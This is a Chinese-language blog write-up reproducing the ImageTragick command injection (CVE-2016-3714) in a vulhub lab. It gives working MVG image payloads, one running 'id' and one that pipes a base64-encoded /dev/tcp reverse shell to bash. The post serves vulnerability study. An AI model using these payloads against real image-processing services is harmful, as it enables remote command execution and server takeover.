ImageMagick命令注入漏洞(CVE-2016–3714)

14 篇文章 0 订阅

目录

ImageMagick介绍

漏洞产生的原因

环境搭建

漏洞特征

命令执行

反弹shell


最近在看乌云的文章时发现有一个自己没有接触过的漏洞类型,虽然时间有点久了,还是像复现学习一下的

搜索了一下同种类型的漏洞发现有7条记录,但是我觉得从我看过的文章中已经遇到了不止7条了,可能是搜索姿势不对吧

ImageMagick介绍

官网:ImageMagick – Mastering Digital Image Alchemy

中文:ImageMagick 中文站

官网是这样介绍的

使用ImageMagick的创建,编辑,撰写,或转换位图图像。它可以读取和写入各种格式(超过200种)的图像,包括PNG,JPEG,GIF,HEIC,TIFF,DPX,EXR,WebP,Postscript,PDF和SVG。使用ImageMagick可以调整图像大小,翻转,镜像,旋转,变形,剪切和变换图像,调整图像颜色,应用各种特殊效果或绘制文本,线条,多边形,椭圆和贝塞尔曲线。

ImageMagick是免费软件,可以即用型二进制分发形式提供,也可以作为源代码提供,您可以在开放应用程序和专有应用程序中使用,复制,修改和分发它们。它是在派生的Apache 2.0 许可下分发的。

ImageMagick利用多个计算线程来提高性能,并且可以读取,处理或写入兆,千兆或兆像素图像大小。

漏洞产生的原因

ImageMagick是一款使用量很广的图片处理程序,很多厂商都调用了这个程序进行图片处理,包括图片的伸缩、切割、水印、格式转换等等。

但有研究者发现,当用户传入一个包含『畸形内容』的图片的时候,就有可能触发命令注入漏洞。

国外的安全人员为此新建了一个网站:https://imagetragick.com/

ImageMagick 在处理恶意构造的图片文件时,对于文件中的 URL 未经严格过滤,可导致命令注入漏洞。通过命令注入漏洞,黑客可以在服务器上执行任意系统命令,获取服务器权限。

GraphicsMagick、ImageMagick 工具的所有版本都支持一种文件打开语法,当文件规范中的第一个字符是”|” 的时候,文件名其余部分会传递给 shell 的 popen () 函数去执行,相关的代码在 blob.c 文件中的 OpenBlob ()函数中。

环境搭建

这里还是使用phith0n大佬的vulhub靶场环境

移动到如下目录中

/opt/vulhub-master/imagemagick/imagetragick

使用docker-compose up -d拉取环境

环境拉取完成后,我们可以在浏览器中访问一下:

可以看到是一个文件上传页面,这就对了,我看文章中都是通过文件上传的方式进行的漏洞利用

漏洞特征

在 /etc/ImageMagick/delegates.xml文件中存在如下配置:

<delegate decode="https" command="&quot;curl&quot; -s -k -o &quot;%o&quot; &quot;https:%M&quot;"/>

命令执行

这里新建一个txt文件内容为:

push graphic-context
viewbox 0 0 640 480
fill 'url(https://"|id; ")'
pop graphic-context

保存为gif后缀格式

然后上传

可以看到文档中的id命令成功的执行了

反弹shell

同样的如果将paylaod修改为反弹shell的语句,然后再攻击机上进行监听,那么就可以反弹shell了

攻击机监听

对反弹shell语句进行加密:

paylad如下:

push graphic-context
viewbox 0 0 640 480
fill 'url(|`echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMTU5LjE1MS84ODg4IDA+JjE= | base64 -d | bash`"||id " )'
pop graphic-context

可以看到成功的反弹shell了 

  • 26
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

未知百分百

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值